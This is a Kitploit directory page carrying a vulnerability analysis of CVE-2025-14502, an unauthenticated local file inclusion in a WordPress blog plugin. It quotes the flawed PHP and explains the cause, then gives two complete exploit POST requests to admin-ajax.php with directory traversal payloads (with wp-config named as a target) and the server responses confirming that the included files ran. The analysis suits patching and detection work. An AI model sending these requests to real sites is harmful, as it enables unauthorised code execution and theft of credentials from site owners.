Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — WordPress的News and Blog Designer Bundle插件在1.1及之前所有版本中，存在通过template参数导致的本地文件包含漏洞。该漏洞使得未经身份验证的攻击者能够包含并执行服务器上的任意.php文件，从而运行这些文件中的任何PHP代码。在允许上传和包含.php文件类型的场景下，攻击者可利用此漏洞绕过访问控制、获取敏感数据或实现代码执行。 | Kitploit
Tools/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

WordPress的News and Blog Designer Bundle插件在1.1及之前所有版本中，存在通过template参数导致的本地文件包含漏洞。该漏洞使得未经身份验证的攻击者能够包含并执行服务器上的任意.php文件，从而运行这些文件中的任何PHP代码。在允许上传和包含.php文件类型的场景下，攻击者可利用此漏洞绕过访问控制、获取敏感数据或实现代码执行。

View Repository
27 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-14502 Vulnerability Analysis Report

Vulnerability Overview

Vulnerability Type: Local File Inclusion (LFI)
Affected Versions: News and Blog Designer Bundle 1.1 and all earlier versions
Severity: High
Attack Complexity: Low (no authentication required)

Vulnerability Principle Analysis

1. Vulnerability Location

The main vulnerability exists in the nbdb_fetch_more_post() method in the includes/class-nbdb-ajax.php file.

2. Code Audit Details

2.1 Vulnerable Code Location

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] )); $template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php'; $template_file = (file_exists($template_file_path)) ? $template_file_path : '';

2.2 Vulnerability Cause Analysis

Issue 1: Improper use of extract() function

Line 31 has a serious problem:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • The extract() function takes array keys as variable names and values as variable values, directly importing them into the current scope
  • The return value of extract() is the number of successfully extracted variables (integer), not the array itself
  • sanitize_text_field() expects a string parameter, but here an integer is passed
  • Therefore, this line of code has no security protection effect whatsoever

Issue 2: Missing parameter validation

Line 33 directly uses the $template variable to construct the file path:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • The $template variable comes from extract($_POST['shrt_param']), completely controlled by user input
  • No whitelist validation
  • No path sanitization
  • Allows directory traversal attacks

Issue 3: Only checks file existence

Line 34 only checks whether the file exists:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() only verifies if the file exists, does not validate path legitimacy
  • If the attacker can control the $template parameter, directory traversal via ../ is possible
  • Eventually, include($template_file) is executed on line 93, leading to arbitrary file inclusion

2.3 Comparison: Secure Implementation in Shortcode Handler Functions

In shortcodes/class-nbdb-shortcode.php, all shortcode handler functions use whitelist validation:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Uses the nbdb_post_template() function to get the allowed template list (only template-1 and template-2)
  • Uses array_key_exists() for whitelist validation
  • If not in the whitelist, defaults to template-1

This proves the developer knew how to properly validate parameters, but omitted validation in the AJAX handler function.

3. Attack Vector

3.1 Unauthenticated Access

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Both wp_ajax_ and wp_ajax_nopriv_ hooks are registered
  • wp_ajax_nopriv_ allows access to unauthenticated users
  • Attackers can exploit this vulnerability without any authentication

3.2 Attack Flow

  1. The attacker crafts a malicious POST request to /wp-admin/admin-ajax.php
  2. Sets action=nbdb_fetch_more_post
  3. Injects a directory traversal payload (e.g., ../../../../wp-config) into shrt_param[template]
  4. The server executes extract($_POST['shrt_param']), extracting template as a variable
  5. Path constructed: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. If the target file exists, file_exists() returns true
  7. Executes include($template_file), including and executing the target PHP file

4. Vulnerability Impact

4.1 Direct Hazards

  • Code Execution: If an executable PHP file can be included, it may lead to Remote Code Execution (RCE)
  • Sensitive Information Disclosure: Can read the contents of PHP files on the server (e.g., wp-config.php)
  • Privilege Escalation: In some configurations, access controls may be bypassed

4.2 Exploitation Conditions

  • The target file must exist and be readable
  • The target file must have a .php extension (the .php suffix is hardcoded in the code)
  • The server must allow include() to execute the included file. "Can be read" means: the included PHP file itself must produce visible output (echo/print/errors/protocol responses), otherwise you cannot see the content.

Vulnerability Validation Steps

1. Constructing a test request

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1. Analyzing the response

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Constructing a test request

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1. Analyzing the response

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
Download Tool